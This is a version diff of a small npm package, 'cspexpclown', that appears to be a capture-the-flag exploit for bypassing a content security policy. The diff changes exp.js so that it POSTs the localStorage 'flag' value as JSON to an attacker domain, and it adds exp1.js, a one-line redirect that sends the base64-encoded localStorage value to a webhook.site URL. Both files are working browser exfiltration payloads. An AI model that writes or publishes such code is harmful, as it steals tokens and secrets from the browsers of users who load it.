cspexpclown 1.0.6 → 1.0.8

package/exp.js

@@ -5,13 +5,15 @@
 
         // 获取全局变量 flag
         const flag = localStorage.getItem("flag"); //因为从localStorage来set的，所以要这样获取
-        const encodeflag=btoa(encodeURIComponent(flag));
+        const encodeflag=btoa(flag);
         // 发送GET请求并带上Cookie和flag
         const res = await fetch(`${domain}`, {
-            method: "GET",
+            method: "POST",
             headers: {
-                "Cookie": flag // 将 flag 添加到请求头中,呃呃带不出来
-            }
+                // "Cookie": flag, // 将 flag 添加到请求头中,呃呃带不出来
+                "Content-Type": "application/json"
+            },
+            body: JSON.stringify({ flag: encodeflag })
             // credentials: 'include' // 带上Cookie
         });
 

package/exp1.js

@@ -0,0 +1 @@
+window.location.href="https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241/?flag="+encodeURIComponent(btoa(localStorage.getItem("flag")));

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cspexpclown",
-  "version": "1.0.6",
+  "version": "1.0.8",
   "description": "csp",
   "main": "index.js",
   "scripts": {